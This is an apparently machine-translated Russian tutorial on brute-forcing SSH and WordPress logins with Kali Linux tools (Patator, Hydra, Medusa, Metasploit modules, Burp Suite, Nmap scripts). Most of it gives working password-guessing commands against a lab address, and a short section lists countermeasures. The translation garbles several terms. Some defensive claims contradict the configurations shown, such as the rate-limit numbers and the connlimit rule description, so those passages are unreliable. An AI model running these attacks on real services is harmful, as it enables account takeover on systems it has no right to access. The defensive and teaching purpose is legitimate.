Атаки грубой силы с использованием Kali Linux
Fucker_vkBrute-force -это математический метод, сложность которого зависит от ряда всех возможных решений. Определение «грубая сила» обычно используется в контексте хакерских атак, когда злоумышленник пытается найти действительный логин/пароль для учетной записи или службы.
Рассмотрим инструменты, которые можно использовать для атак грубой силы на SSH и веб-сервисы, доступные в Kali Linux (Patator, Medusa, THC Hydra, Metasploit) и BurpSuite.
Все материалы, приведенные в данной статье, предназначены для образовательных целей. Использование материалов в незаконных целях запрещено.
Brute-force SSH
В качестве примера возьмем тестовую машину 192.168.60.50 и попробуем найти тестовый пароль пользователя с помощью SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt
Patator
Чтобы найти пароль с картофелем используйте команду:
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’
где:
- ssh_login-это необходимый модуль;
- host — это наша цель;
- user-это логин пользователя, для которого найден пароль, либо файл содержит множество Логинов для многократного поиска;
- password — это словарь, содержащий пароли; X ignore: mesg=’Authentication failed’ — это команда не отображать строку, содержащую это сообщение. Параметр фильтрации выбирается индивидуально.
THC Hydra
Для майнинга паролей с помощью THC Hydra выполните команду:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
где:
- V-для отображения пары логин + пароль во время майнинга пароля;
- f-это остановка, как только будет найден пароль для указанного логина;
- P-это путь к словарю паролей;
- ssh: / / 192.168.60.50-это IP-адрес жертвы.
Medusa
Для майнинга паролей с помощью Medusa выполните команду:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
где:
- h- его жертва IP-адрес;
- u — это логин;
- P — это путь к словарю;
- M-это выбор модуля;
- F-это остановка, как только будет найдена действительная пара логин/пароль;
- v-это настройка отображения сообщения на мониторе во время майнинга паролей.
Metasploit
Найдите инструмент для атаки грубой силы с помощью SSH:
search ssh_login
Использовать модуль:
- use auxiliary/scanner/ssh/ssh_login
Используйте команду Показать параметры для просмотра необходимых параметров. Для нас это:
- rhosts-это IP адрес жертвы;
- rport — это порт;
- username-это SSH логин;
- user pass_file-это путь к словарю;
- stop_on_success-это остановка, как только будет найдена пара логин/пароль;
- threads — количество потоков.
Индикация необходимых параметров осуществляется с помощью команды «set».
set rhosts 192.168.60.50 set username test set userpass_file /root/wordlist set stop_on_success yes set threads 4 set rport 22
Когда будут указаны необходимые параметры, введите команду «Выполнить» и подождите.
Ограничьте количество установленных подключений с помощью брандмауэра. Пример настройки iptables в:
-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1--connlimit-mask 32 -j REJECT --reject-with tcp-reset.
Это правило ограничит доступ к SSH для каждого IP-адреса до 1 соединения в секунду, что сделает грубую силу более сложной. Также эффективным решением может быть использование двухфакторной аутентификации (например, с помощью токена) или аутентификации с использованием инфраструктуры открытых ключей (PKI) и использование ACL на основе IP-адресов.
BurpSuite
Сначала необходимо разобраться в процессе авторизации. Для этого мы будем использовать Burp Suite. Чтобы проверить, какие запросы проходят через BurpSuite, мы должны попытаться авторизоваться с помощью любого пароля и логина.
Молодцы, мы увидели пост запроса на авторизацию и будем с ним работать. В теле отмечено, какие логин и пароль были проверены, то есть мы можем попробовать заполнить необходимые значения.
Передайте этот запрос злоумышленнику и выберите там необходимые параметры атаки. В точке полезной нагрузки позиции оставьте типа атаки снайпер, но для проверки оставьте параметр pwd только. Таким образом, только этот параметр будет меняться во время атаки.
Скачайте необходимый словарь и начните атаку:
По поведению веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После словаря, грубой силы, мы видим, что один из паролей дал ответ код 302 — это пароль правильный.
Этот метод занимает гораздо больше времени, чем при использовании Patator, THC Hydra, Medusa и др. Даже с учетом того, что мы использовали небольшой словарь, Burp Suite искал пароль около 40 минут.
THC Hydra
Давайте попробуем найти пароль с помощью THC Hydra. Как мы знаем, если авторизация является неправильной код 200, если авторизация является правильной код 302. Попробуйте использовать эту информацию. Для начала используйте команду:
мydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m “/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302”
Здесь мы будем заполнять необходимые параметры:
- I — это имя пользователя;
- P-это словарь паролей;
- t — это число потоков;
- http-post-form — это тип формы (в нашем случае POST);
- /wp-login.php-это URL страницы авторизации;
- ^^USER^ — показывает, где должно быть заполнено имя пользователя;
- ^PASS^ — показывает, где должен быть заполнен пароль из словаря;
- S=302-это указание, к которому относится ответ THC Hydra. В нашем случае, если авторизация прошла успешно ответ 302.
Nmap
Утилита Nmap позволяет производить майнинг паролей для авторизации веб-форм при использовании http-wordpress-brute с соответствующими аргументами:
— script-args-это добавление аргументов;
user или userdb-это логин или файл, содержащий логины;
pass or passdb — это пароль или словарь признаков;
thread -это ряд потоков;
first only=true-для отображения результатов после первых правильных паролей.
nmap 192.168.60.50 --script http-wordpress-brute --script-args ‘user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true’
Противодействие
Ограничьте (усложните) атаки грубой силы на веб-приложения с использованием iptables (например, SSH) и инструментов Nginx:
… limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s; … location / { … limit_req zone=req_limits burst=10; limit_req_status 429; … }
Эти настройки позволят ограничить число запросов от одного IP-адреса до 40 в секунду. Чтобы запутать задачу интеллектуального анализа паролей, используйте следующий метод:
использование брандмауэра и другого программного обеспечения для ограничения количества запросов к защищенной службе;
использовать инструменты против быстрой проверки подлинности ключа (например Captcha).
Вывод
В этой статье мы поверхностно рассмотрели некоторые из популярных инструментов. Для снижения риска нападения грубой силы следуйте рекомендациям:
использовать жесткий для взлома паролей;
не создавать пароли с использованием личных данных, например дата рождения или имя+дата рождения или номер телефона;
регулярно меняйте пароль;
используйте разные пароли для каждой учетной записи.
Не так много людей следуют этим рекомендациям (а также рекомендациям по безопасной веб-разработке), поэтому необходимо использовать различные программные решения:
ограничить подключение по IP-адресу или, если это невозможно, ограничить одновременное количество подключений к серверу (используя iptables, Nginx и т. д.);
использование двухфакторной аутентификации;
обнаружение и блокировка этих атак с помощью SIEM, WAF или других инструментов (например fail2ban).